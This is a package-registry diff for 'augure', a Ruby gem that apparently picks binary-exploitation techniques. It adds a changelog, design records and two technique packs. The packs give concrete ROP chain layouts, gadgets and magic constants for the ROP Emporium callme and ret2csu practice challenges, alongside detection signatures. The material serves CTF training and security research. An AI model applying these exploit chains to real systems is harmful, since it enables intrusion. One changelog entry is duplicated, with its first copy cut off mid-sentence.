augure 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CHANGELOG.md +36 -0
- data/README.md +1 -0
- data/docs/adr/0001-arch-abstraction-before-arm64.md +34 -0
- data/docs/adr/0002-arm64-deferred-until-abstraction.md +31 -0
- data/docs/adr/0003-pe-mach-o-out-of-scope.md +33 -0
- data/docs/art/prompts.md +60 -0
- data/{home/runner/work/augure/augure/lib → lib}/augure/version.rb +1 -1
- data/packs/callme.yml +66 -0
- data/packs/ret2csu_v2.yml +68 -0
- metadata +55 -52
- data/home/runner/work/augure/augure/exe/augure +0 -181
- data/home/runner/work/augure/augure/exe/augure-benchmark +0 -67
- data/home/runner/work/augure/augure/packs/ret2csu_v2.yml +0 -55
- /data/{home/runner/work/augure/augure/docs → docs}/agent-snippet.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/auditability.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/build-format.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/explanation-architecture.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/how-to-swap-solver.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/how-to-write-rules.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/pack-format.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/reference.md +0 -0
- /data/{home/runner/work/augure/augure/docs → docs}/tutorial.md +0 -0
- /data/{home/runner/work/augure/augure/examples → examples}/ret2win.facts +0 -0
- /data/{home/runner/work/augure/augure/examples → examples}/split.facts +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/bandit.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/coverage.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/ctf_corpus.json +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/engine.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/facts.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/kb_corpus.json +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/knowledge_base.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/mcts.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/pack.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/pack_loader.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/parity.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/pipeline.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/priors.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/rules.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/smt_process.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure/verifier.rb +0 -0
- /data/{home/runner/work/augure/augure/lib → lib}/augure.rb +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/banner_leak.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/brop.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/fastbin_hook.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/got_partial_overwrite.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/got_partial_overwrite_deref.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/house_botcake.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/house_force.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/house_of_apple2.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/house_orange.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/jop.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/large_bin_attack.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/one_gadget.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/orw.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/ret2dlresolve_x86.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/ret2partial_overwrite.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/ret2vdso.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/setcontext_srop.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/uaf_tcache.yml +0 -0
- /data/{home/runner/work/augure/augure/packs → packs}/unsorted_bin_attack.yml +0 -0
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 6964404b275f484e9b4c5d29fede11ddef407226a1d72663f56c4d1dd766a0d8
|
|
4
|
+
data.tar.gz: b8d8d1cb25dae26d6b3af581988e297284e6f05469b33e3134b3196d305073de
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 4964f38be7bf288d83aef415cd546437e5a9cb218593da497b9d3a4bde8f69d850554853568a60cdd23acc00bf4f86a87e2321544bf0d4caadd3d0a7248e7f76
|
|
7
|
+
data.tar.gz: 6d3254d5dd0e556f37477aec1da328663a598efcfaadaaec2a1b8d55f9453ac8e780aedce917340300d1accf14b65c6a47c4e792349dafba4b29ffe9dd017d14
|
data/CHANGELOG.md
CHANGED
|
@@ -7,6 +7,42 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|
|
7
7
|
|
|
8
8
|
## [Unreleased]
|
|
9
9
|
|
|
10
|
+
## [0.2.0] - 2026-10-29
|
|
11
|
+
|
|
12
|
+
- The callme technique pack: three consecutive PLT calls with the
|
|
13
|
+
challenge's magic argument triple, the layout taught in the pack
|
|
14
|
+
(pop_rdi / pop_rsi_r15 / pop_rdx, no leak needed on the non-PIE
|
|
15
|
+
corpus binary), validated through the full armor.
|
|
16
|
+
- The ret2csu_v2 pack's build layout now teaches the WIN call measured
|
|
17
|
+
end to end on the corpus binary: the csu pair populates rsi/rdx (the
|
|
18
|
+
newer gcc flavor truncates edi, rdi never rides the csu), the mov
|
|
19
|
+
block's mandatory call lands on _fini through the .dynamic DT_FINI
|
|
20
|
+
cell (a no-op call preserving every argument register), the
|
|
21
|
+
seven-slot junk slide absorbs the loop epilogue, then pop_rdi
|
|
22
|
+
carries the full 64-bit first argument. The canonical puts leak
|
|
23
|
+
stays documented as the reference variant.
|
|
24
|
+
- Profiler: `pop rsi; pop r15; ret` joins the gadget vocabulary (the
|
|
25
|
+
callme flavor a bare `pop rsi; ret` scan cannot see).
|
|
26
|
+
- Profiler: the csu gadgets are located by byte signature inside
|
|
27
|
+
__libc_csu_init's extent - the popper fact aims at the pop rbx
|
|
28
|
+
epilogue (the chain entry), not at the symbol entry; the mov block
|
|
29
|
+
is found through the call signature (both known compiler flavors).
|
|
30
|
+
The entry/+0x40 guess produced unexecutable addresses.
|
|
31
|
+
- Profiler: a win-named IMPORT is not a win here - the ret2csu shape
|
|
32
|
+
imports its ret2win from the companion library (value 0); emitting
|
|
33
|
+
win_symbol for it made the ret2func layout build a jump to NULL.
|
|
34
|
+
Defined symbols only.
|
|
35
|
+
- Profiler fixture: `#include <stdio.h>` added (gcc 14 / C23 rejects an implicit
|
|
36
|
+
printf declaration, breaking CI since the runner update) and `-fno-builtin-printf`
|
|
37
|
+
passed to gcc so the fixture really imports printf: gcc folds the call to puts
|
|
38
|
+
|
|
39
|
+
- Profiler fixture: `#include <stdio.h>` added (gcc 14 / C23 rejects an implicit
|
|
40
|
+
printf declaration, breaking CI since the runner update) and `-fno-builtin-printf`
|
|
41
|
+
passed to gcc so the fixture really imports printf: gcc folds the call to puts
|
|
42
|
+
otherwise, making the vuln_hint exclusion test vacuous.
|
|
43
|
+
- README badge: added Datalog (the pack rules engine is the project core).
|
|
44
|
+
- README art recompressed: `augure-v0.png` 1.6M -> 642K, `augure-v1.png` 2.3M -> 1.1M
|
|
45
|
+
(256-color palette with dithering; repo weight only, no content change).
|
|
10
46
|
- The `cve` fact (the CVE/KEV bridge): an agent or the operator proposes the CVE id as a fact (`cve("CVE-2024-1234").`) - the technique packs consume it like any observation. The schema + the atom grammar treat it as any string fact.
|
|
11
47
|
|
|
12
48
|
- The pack DSL gains an optional `build:` section (the pack teaching the BUILDER its assembly
|
data/README.md
CHANGED
|
@@ -14,6 +14,7 @@
|
|
|
14
14
|
[](https://rubygems.org/gems/augure)
|
|
15
15
|
[](https://www.ruby-lang.org/)
|
|
16
16
|
[](LICENSE)
|
|
17
|
+
[](packs/)
|
|
17
18
|
|
|
18
19
|
Every exploitation framework answers *"how do I run this technique?"*.
|
|
19
20
|
**Augure answers the question nobody automates: *"which technique should run,
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# ADR 0001: the arch abstraction before any port
|
|
2
|
+
|
|
3
|
+
## Status
|
|
4
|
+
|
|
5
|
+
Accepted (2026-10-04). Execution planned after the spine repairs; the
|
|
6
|
+
abstraction work happens opportunistically when the profiler files are
|
|
7
|
+
touched anyway.
|
|
8
|
+
|
|
9
|
+
## Context
|
|
10
|
+
|
|
11
|
+
The x64/x86 branch is pasted six times across the profiler gem
|
|
12
|
+
(profiler.rb:95, gadget_hunt.rb, static_offset.rb x2, shellcode.rb x2):
|
|
13
|
+
arch selection, gadget byte patterns, frame-read heuristics, shellcode
|
|
14
|
+
sources and encoder register names all assume x86/x64 inline. Adding a
|
|
15
|
+
third architecture today means touching every one of those sites and
|
|
16
|
+
hoping nothing was missed; the fact schema carries no arch field, so
|
|
17
|
+
gadget type names (jmp_rsp vs jmp_esp) are the only implicit carrier.
|
|
18
|
+
|
|
19
|
+
## Decision
|
|
20
|
+
|
|
21
|
+
Extract an `AugureProfiler::Arch` abstraction FIRST, before any port:
|
|
22
|
+
per-arch gadget byte patterns, word width, metasm cpu class, frame-read
|
|
23
|
+
heuristics, and shellcode source keys. The six call sites become one
|
|
24
|
+
lookup. Consumers (payload_builder, the encoders) read the abstraction,
|
|
25
|
+
never the branch.
|
|
26
|
+
|
|
27
|
+
## Consequences
|
|
28
|
+
|
|
29
|
+
- A new arch (ARM64) becomes data plus one new Arch definition, not
|
|
30
|
+
surgery across six files - see ADR 0002.
|
|
31
|
+
- The refactor is behavior-preserving for x64/x86: the frozen corpus
|
|
32
|
+
and the ROP Emporium parity job are the regression contract.
|
|
33
|
+
- The fact schema gains an arch dimension only when a second arch
|
|
34
|
+
actually lands (YAGNI until then).
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
# ADR 0002: ARM64 support is deferred, gated on the arch abstraction
|
|
2
|
+
|
|
3
|
+
## Status
|
|
4
|
+
|
|
5
|
+
Accepted (2026-10-04). Planned after ADR 0001's abstraction lands.
|
|
6
|
+
|
|
7
|
+
## Context
|
|
8
|
+
|
|
9
|
+
The modern CTF world is increasingly ARM64 (Raspberry Pi, phones,
|
|
10
|
+
boards), and the tool is x86/x64-only. The decision layer (rules,
|
|
11
|
+
packs, engine, bandit, MCTS) is architecture-neutral already; the cost
|
|
12
|
+
is entirely in the profiler. Porting today, with the arch branch pasted
|
|
13
|
+
six times (ADR 0001), is the expensive order of work.
|
|
14
|
+
|
|
15
|
+
## Decision
|
|
16
|
+
|
|
17
|
+
ARM64 comes AFTER the `AugureProfiler::Arch` abstraction. The port
|
|
18
|
+
itself is then: arm64 gadget patterns, AArch64 cpu in GadgetHunt and
|
|
19
|
+
StaticOffset, arm64 shellcode sources and equivalence pools, encoder
|
|
20
|
+
register names. The pack DSL needs no change (a pack already says
|
|
21
|
+
`match gadget csu` - the naming vocabulary carries the arch).
|
|
22
|
+
|
|
23
|
+
## Consequences
|
|
24
|
+
|
|
25
|
+
- We accept being x86/x64-only for now; that is where the current
|
|
26
|
+
corpus (33 frozen targets), the lab and the parity harness live.
|
|
27
|
+
- The deferred port is cheap by construction: data plus one Arch, no
|
|
28
|
+
surgery. Anything profiling-shaped learned meanwhile (new gadget
|
|
29
|
+
classes, PE work) should be written arch-aware from the start.
|
|
30
|
+
- QEMU user-mode targets can exercise arm64 profiling in CI when the
|
|
31
|
+
port lands.
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# ADR 0003: PE/Windows (and Mach-O) are out of scope for v0.x
|
|
2
|
+
|
|
3
|
+
## Status
|
|
4
|
+
|
|
5
|
+
Accepted (2026-10-04). A documented renouncement, not an oversight.
|
|
6
|
+
|
|
7
|
+
## Context
|
|
8
|
+
|
|
9
|
+
Professional red teams live substantially on Windows, and PE support
|
|
10
|
+
would open that market. But the entire read path is ELF-specific:
|
|
11
|
+
metasm ELF decoding, GNU_STACK/GNU_RELRO parsing, .plt/.plt.sec
|
|
12
|
+
layouts, GOT mechanics in the layouts, the triage backends (gdb),
|
|
13
|
+
checksec facts keyed to ELF structures. The fact schema itself
|
|
14
|
+
(nx/pie/canary/relro...) is mostly reusable; the profiler is not.
|
|
15
|
+
|
|
16
|
+
## Decision
|
|
17
|
+
|
|
18
|
+
PE (and Mach-O) are out of scope for v0.x. No shim, no half-port, no
|
|
19
|
+
"experimental" PE path that mislabels facts. When the abstraction debt
|
|
20
|
+
from ADR 0001 is paid and the core loop (decide -> build -> run ->
|
|
21
|
+
learn) is closed, a PE profiler is the natural second front - as a
|
|
22
|
+
parallel Profiler class emitting the same fact vocabulary, with
|
|
23
|
+
Windows-specific facts added to the schema deliberately.
|
|
24
|
+
|
|
25
|
+
## Consequences
|
|
26
|
+
|
|
27
|
+
- We renounce the Windows red-team market explicitly for now; the
|
|
28
|
+
positioning says binary exploitation on ELF/Linux, honestly.
|
|
29
|
+
- The fact schema is designed to stay format-neutral so the future PE
|
|
30
|
+
emitter is additive, not a rewrite.
|
|
31
|
+
- Nothing in the current rules or packs is expected to transfer
|
|
32
|
+
unvalidated: Windows techniques (FSOP, cfg bypass...) would enter as
|
|
33
|
+
packs with their own provenance, like every other technique.
|
data/docs/art/prompts.md
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
# The roman banners
|
|
2
|
+
|
|
3
|
+
The two README banners share one style and one set of prompts - kept
|
|
4
|
+
here for reproducibility. Regenerate freely; keep the iconography.
|
|
5
|
+
|
|
6
|
+
## Style commun
|
|
7
|
+
|
|
8
|
+
Ultra-wide 16:3, dark charcoal, "modern antiquity": black marble,
|
|
9
|
+
brass, toga silhouettes, data-stream light (amber + teal), flat
|
|
10
|
+
vector minimalism, museum-poster aesthetic, NO TEXT (image models
|
|
11
|
+
mangle letters).
|
|
12
|
+
|
|
13
|
+
## augure (v1) - the augur reads the birds
|
|
14
|
+
|
|
15
|
+
The augur's iconography: the LITUUS (the curved staff), the TEMPLUM
|
|
16
|
+
(the sky divided in quadrants), the birds' flight = the signs read;
|
|
17
|
+
the teal star at the convergence = the verdict.
|
|
18
|
+
|
|
19
|
+
```
|
|
20
|
+
Ultra-wide cinematic banner, 16:3, dark charcoal sky at dusk. A
|
|
21
|
+
modern Roman AUGUR stands in profile on a high black-marble terrace:
|
|
22
|
+
a hooded figure in a dark toga with a thin gold trim, holding a
|
|
23
|
+
brass LITUUS - the curved augur staff - raised toward the sky. Above
|
|
24
|
+
him, the night sky is divided into four large rectangular quadrants
|
|
25
|
+
(the ancient templum, drawn in faint glowing gold lines), and
|
|
26
|
+
through them fly BIRDS rendered as glowing amber data-arcs - each
|
|
27
|
+
flight path traced with fine telemetry dots like instrument
|
|
28
|
+
readings. One quadrant burns brighter: a teal star pulses at the
|
|
29
|
+
convergence of the flight paths - the verdict the augur reads. Below
|
|
30
|
+
the terrace, a dark circuit-board cityscape glitters. Roman
|
|
31
|
+
antiquity fused with precision engineering: marble, brass, toga
|
|
32
|
+
silhouette, data-stream birds. Flat vector minimalism with subtle
|
|
33
|
+
gradients, high-end museum-poster aesthetic, muted amber/copper/teal
|
|
34
|
+
on charcoal, NO TEXT, no letters, no logos.
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
## lictor (v1) - the fasces of fiber, the trail behind
|
|
38
|
+
|
|
39
|
+
The lictor's iconography: the FASCES (the bound rods + the blade =
|
|
40
|
+
the power to execute) rendered in fiber-optic; the luminous
|
|
41
|
+
footprints behind = the trail; one door open, the others sealed; the
|
|
42
|
+
laurel arch = the judgment carried out.
|
|
43
|
+
|
|
44
|
+
```
|
|
45
|
+
Ultra-wide cinematic banner, 16:3, dark charcoal. A modern Roman
|
|
46
|
+
LICTOR walks left to right along a black-marble road in profile: a
|
|
47
|
+
disciplined hooded figure in a dark toga, carrying on his shoulder
|
|
48
|
+
the FASCES reimagined - a bundle of glowing fiber-optic rods bound
|
|
49
|
+
together with a brass laurel band, one thin polished blade
|
|
50
|
+
protruding from the bundle. Behind him, the road shows a trail of
|
|
51
|
+
luminous teal footprints receding into the dark - every step
|
|
52
|
+
recorded. Ahead of him stands a massive dark gate whose mechanisms
|
|
53
|
+
(a gear, a lever, a coil) animate faintly with amber light as he
|
|
54
|
+
approaches; one door stands open, lit from within. At the far right
|
|
55
|
+
edge, a subtle laurel-wreath arch marks the destination. Roman
|
|
56
|
+
antiquity fused with precision engineering: marble, brass, toga
|
|
57
|
+
silhouette, fiber-optic fasces. Flat vector minimalism with subtle
|
|
58
|
+
gradients, high-end museum-poster aesthetic, muted teal/copper/amber
|
|
59
|
+
on charcoal, NO TEXT, no letters, no logos.
|
|
60
|
+
```
|
data/packs/callme.yml
ADDED
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
# Canonique: le modele de technique pack pour agents et operateurs.
|
|
2
|
+
# Structure, vocabulaire et limites: voir docs/pack-format.md.
|
|
3
|
+
technique: callme
|
|
4
|
+
author: Gregory Epp
|
|
5
|
+
source: https://ropemporium.com/challenge/callme.html
|
|
6
|
+
|
|
7
|
+
rules:
|
|
8
|
+
- id: app_callme
|
|
9
|
+
head: [applicable, callme]
|
|
10
|
+
conditions:
|
|
11
|
+
- [fact, vuln, sof]
|
|
12
|
+
- [fact, nx, true]
|
|
13
|
+
- [fact, pie, false]
|
|
14
|
+
- [fact, plt, callme_one]
|
|
15
|
+
- [fact, plt, callme_two]
|
|
16
|
+
- [fact, plt, callme_three]
|
|
17
|
+
- [match, gadget, 0, pop_rdi]
|
|
18
|
+
- [match, gadget, 0, pop_rsi_r15]
|
|
19
|
+
- [match, gadget, 0, pop_rdx]
|
|
20
|
+
|
|
21
|
+
kb:
|
|
22
|
+
- id: callme_001
|
|
23
|
+
technique: callme
|
|
24
|
+
description: >
|
|
25
|
+
Three consecutive PLT calls (callme_one/two/three), each with the
|
|
26
|
+
challenge's magic argument triple; the third call decrypts the
|
|
27
|
+
encrypted flag and prints it. rdi rides pop_rdi, rsi rides
|
|
28
|
+
pop_rsi_r15 (a dud r15 follows), rdx rides pop_rdx - all full
|
|
29
|
+
64-bit values, no leak needed (non-PIE, everything static).
|
|
30
|
+
chain: [pop_rdi, pop_rsi_r15, pop_rdx, callme_one, callme_two, callme_three]
|
|
31
|
+
unlocks: [flag]
|
|
32
|
+
success_rate: 0.9
|
|
33
|
+
|
|
34
|
+
mcts:
|
|
35
|
+
requires: []
|
|
36
|
+
provides: [flag]
|
|
37
|
+
terminal: true
|
|
38
|
+
success: 0.85
|
|
39
|
+
|
|
40
|
+
priors: [10, 1]
|
|
41
|
+
|
|
42
|
+
# The assembly order, resolved by lictor's builder from the facts. The
|
|
43
|
+
# argument triple is the corpus's magic (0xdeadbeefdeadbeef,
|
|
44
|
+
# 0xcafebabecafebabe, 0xd00df00dd00df00d) written as decimal consts;
|
|
45
|
+
# the r15 slot of pop_rsi_r15 is a dud (const:0). Measured on the
|
|
46
|
+
# x86_64 corpus binary: no alignment word needed between the calls.
|
|
47
|
+
build:
|
|
48
|
+
technique: callme
|
|
49
|
+
layout:
|
|
50
|
+
- [padding, measured_offset]
|
|
51
|
+
- [chain, "gadget:pop_rdi_ret", "const:16045690984833335023",
|
|
52
|
+
"gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
|
|
53
|
+
"gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_one",
|
|
54
|
+
"gadget:pop_rdi_ret", "const:16045690984833335023",
|
|
55
|
+
"gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
|
|
56
|
+
"gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_two",
|
|
57
|
+
"gadget:pop_rdi_ret", "const:16045690984833335023",
|
|
58
|
+
"gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
|
|
59
|
+
"gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_three"]
|
|
60
|
+
|
|
61
|
+
# The defender side (the corpus read backwards): what this technique
|
|
62
|
+
# looks like to the defenses. Armored by check 9.
|
|
63
|
+
detection:
|
|
64
|
+
- channel: crash
|
|
65
|
+
signature: "three consecutive calls into one shared library through pop chains"
|
|
66
|
+
note: "the triplet pattern repeating three times on the stack"
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
# Canonique: le modele de technique pack pour agents et operateurs.
|
|
2
|
+
# Structure, vocabulaire et limites: voir docs/pack-format.md.
|
|
3
|
+
technique: ret2csu_v2
|
|
4
|
+
author: Gregory Epp
|
|
5
|
+
source: https://ropemporium.com/challenge/ret2csu.html
|
|
6
|
+
|
|
7
|
+
rules:
|
|
8
|
+
- id: app_ret2csu_v2
|
|
9
|
+
head: [applicable, ret2csu_v2]
|
|
10
|
+
conditions:
|
|
11
|
+
- [fact, vuln, sof]
|
|
12
|
+
- [fact, nx, true]
|
|
13
|
+
- [match, gadget, 0, csu]
|
|
14
|
+
|
|
15
|
+
kb:
|
|
16
|
+
- id: ret2csu_v2_001
|
|
17
|
+
technique: ret2csu_v2
|
|
18
|
+
description: >
|
|
19
|
+
__libc_csu_init universal gadget populates rdx/rsi in
|
|
20
|
+
gadget-sparse binaries; the popper and mov gadgets enable
|
|
21
|
+
controlled multi-argument calls. The newer gcc flavor (mov
|
|
22
|
+
rdx,r15; mov rsi,r14; mov edi,r13d) truncates edi to 32 bits, so
|
|
23
|
+
rdi NEVER rides the csu: a separate pop_rdi loads the full
|
|
24
|
+
64-bit first argument after the mov block. The mov block's
|
|
25
|
+
mandatory call lands on _fini through the .dynamic DT_FINI cell
|
|
26
|
+
(rbx=0: the cell holds a real function pointer, the call is a
|
|
27
|
+
no-op that preserves every argument register), the seven-slot
|
|
28
|
+
junk slide absorbs the loop epilogue.
|
|
29
|
+
chain: [csu_popper, csu_mov, pop_rdi, target_fn]
|
|
30
|
+
unlocks: [flag]
|
|
31
|
+
success_rate: 0.75
|
|
32
|
+
|
|
33
|
+
mcts:
|
|
34
|
+
requires: []
|
|
35
|
+
provides: [flag]
|
|
36
|
+
terminal: true
|
|
37
|
+
success: 0.70
|
|
38
|
+
|
|
39
|
+
priors: [14, 6]
|
|
40
|
+
|
|
41
|
+
# The assembly order, resolved by lictor's builder from the facts: the
|
|
42
|
+
# csu popper enters at pop rbx (the profiler aims the epilogue, not the
|
|
43
|
+
# symbol entry), rbx=0 and rbp=1 end the loop after one call, r12 = the
|
|
44
|
+
# .dynamic cell holding _fini's address (the DT_FINI entry at 0x600e48
|
|
45
|
+
# on the x86_64 corpus binary, const in decimal), r14/r15 carry the
|
|
46
|
+
# challenge's second and third magic arguments. The mov block's arg
|
|
47
|
+
# mapping is the NEWER flavor (rdx=r15, rsi=r14, edi=r13d): the win
|
|
48
|
+
# call is ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe,
|
|
49
|
+
# 0xd00df00dd00df00d), measured end to end on the corpus binary. The
|
|
50
|
+
# canonical puts(puts@got) leak stays the reference variant: swap the
|
|
51
|
+
# consts to got_addr:puts and end the chain on a leak:main instead.
|
|
52
|
+
build:
|
|
53
|
+
technique: ret2csu_v2
|
|
54
|
+
layout:
|
|
55
|
+
- [padding, measured_offset]
|
|
56
|
+
- [chain, "gadget:csu_popper", "const:0", "const:1", "const:6295112",
|
|
57
|
+
"const:0", "const:14627333968358193854", "const:14991902676702064653",
|
|
58
|
+
"gadget:csu_mov",
|
|
59
|
+
"const:0", "const:0", "const:0", "const:0", "const:0", "const:0", "const:0",
|
|
60
|
+
"gadget:pop_rdi_ret", "const:16045690984833335023", "plt_addr:ret2win"]
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
# The defender side (the corpus read backwards): what this technique
|
|
64
|
+
# looks like to the defenses. Armored by check 9.
|
|
65
|
+
detection:
|
|
66
|
+
- channel: crash
|
|
67
|
+
signature: "call through __libc_csu_init gadget territory on a gadget-poor binary"
|
|
68
|
+
note: "the csu chain issuing calls"
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: augure
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.
|
|
4
|
+
version: 0.2.0
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Gregory Epp
|
|
@@ -20,62 +20,65 @@ executables:
|
|
|
20
20
|
extensions: []
|
|
21
21
|
extra_rdoc_files: []
|
|
22
22
|
files:
|
|
23
|
-
- "/home/runner/work/augure/augure/docs/agent-snippet.md"
|
|
24
|
-
- "/home/runner/work/augure/augure/docs/auditability.md"
|
|
25
|
-
- "/home/runner/work/augure/augure/docs/build-format.md"
|
|
26
|
-
- "/home/runner/work/augure/augure/docs/explanation-architecture.md"
|
|
27
|
-
- "/home/runner/work/augure/augure/docs/how-to-swap-solver.md"
|
|
28
|
-
- "/home/runner/work/augure/augure/docs/how-to-write-rules.md"
|
|
29
|
-
- "/home/runner/work/augure/augure/docs/pack-format.md"
|
|
30
|
-
- "/home/runner/work/augure/augure/docs/reference.md"
|
|
31
|
-
- "/home/runner/work/augure/augure/docs/tutorial.md"
|
|
32
|
-
- "/home/runner/work/augure/augure/examples/ret2win.facts"
|
|
33
|
-
- "/home/runner/work/augure/augure/examples/split.facts"
|
|
34
|
-
- "/home/runner/work/augure/augure/exe/augure"
|
|
35
|
-
- "/home/runner/work/augure/augure/exe/augure-benchmark"
|
|
36
|
-
- "/home/runner/work/augure/augure/lib/augure.rb"
|
|
37
|
-
- "/home/runner/work/augure/augure/lib/augure/bandit.rb"
|
|
38
|
-
- "/home/runner/work/augure/augure/lib/augure/coverage.rb"
|
|
39
|
-
- "/home/runner/work/augure/augure/lib/augure/ctf_corpus.json"
|
|
40
|
-
- "/home/runner/work/augure/augure/lib/augure/engine.rb"
|
|
41
|
-
- "/home/runner/work/augure/augure/lib/augure/facts.rb"
|
|
42
|
-
- "/home/runner/work/augure/augure/lib/augure/kb_corpus.json"
|
|
43
|
-
- "/home/runner/work/augure/augure/lib/augure/knowledge_base.rb"
|
|
44
|
-
- "/home/runner/work/augure/augure/lib/augure/mcts.rb"
|
|
45
|
-
- "/home/runner/work/augure/augure/lib/augure/pack.rb"
|
|
46
|
-
- "/home/runner/work/augure/augure/lib/augure/pack_loader.rb"
|
|
47
|
-
- "/home/runner/work/augure/augure/lib/augure/parity.rb"
|
|
48
|
-
- "/home/runner/work/augure/augure/lib/augure/pipeline.rb"
|
|
49
|
-
- "/home/runner/work/augure/augure/lib/augure/priors.rb"
|
|
50
|
-
- "/home/runner/work/augure/augure/lib/augure/rules.rb"
|
|
51
|
-
- "/home/runner/work/augure/augure/lib/augure/smt_process.rb"
|
|
52
|
-
- "/home/runner/work/augure/augure/lib/augure/verifier.rb"
|
|
53
|
-
- "/home/runner/work/augure/augure/lib/augure/version.rb"
|
|
54
|
-
- "/home/runner/work/augure/augure/packs/banner_leak.yml"
|
|
55
|
-
- "/home/runner/work/augure/augure/packs/brop.yml"
|
|
56
|
-
- "/home/runner/work/augure/augure/packs/fastbin_hook.yml"
|
|
57
|
-
- "/home/runner/work/augure/augure/packs/got_partial_overwrite.yml"
|
|
58
|
-
- "/home/runner/work/augure/augure/packs/got_partial_overwrite_deref.yml"
|
|
59
|
-
- "/home/runner/work/augure/augure/packs/house_botcake.yml"
|
|
60
|
-
- "/home/runner/work/augure/augure/packs/house_force.yml"
|
|
61
|
-
- "/home/runner/work/augure/augure/packs/house_of_apple2.yml"
|
|
62
|
-
- "/home/runner/work/augure/augure/packs/house_orange.yml"
|
|
63
|
-
- "/home/runner/work/augure/augure/packs/jop.yml"
|
|
64
|
-
- "/home/runner/work/augure/augure/packs/large_bin_attack.yml"
|
|
65
|
-
- "/home/runner/work/augure/augure/packs/one_gadget.yml"
|
|
66
|
-
- "/home/runner/work/augure/augure/packs/orw.yml"
|
|
67
|
-
- "/home/runner/work/augure/augure/packs/ret2csu_v2.yml"
|
|
68
|
-
- "/home/runner/work/augure/augure/packs/ret2dlresolve_x86.yml"
|
|
69
|
-
- "/home/runner/work/augure/augure/packs/ret2partial_overwrite.yml"
|
|
70
|
-
- "/home/runner/work/augure/augure/packs/ret2vdso.yml"
|
|
71
|
-
- "/home/runner/work/augure/augure/packs/setcontext_srop.yml"
|
|
72
|
-
- "/home/runner/work/augure/augure/packs/uaf_tcache.yml"
|
|
73
|
-
- "/home/runner/work/augure/augure/packs/unsorted_bin_attack.yml"
|
|
74
23
|
- CHANGELOG.md
|
|
75
24
|
- LICENSE
|
|
76
25
|
- README.md
|
|
26
|
+
- docs/adr/0001-arch-abstraction-before-arm64.md
|
|
27
|
+
- docs/adr/0002-arm64-deferred-until-abstraction.md
|
|
28
|
+
- docs/adr/0003-pe-mach-o-out-of-scope.md
|
|
29
|
+
- docs/agent-snippet.md
|
|
30
|
+
- docs/art/prompts.md
|
|
31
|
+
- docs/auditability.md
|
|
32
|
+
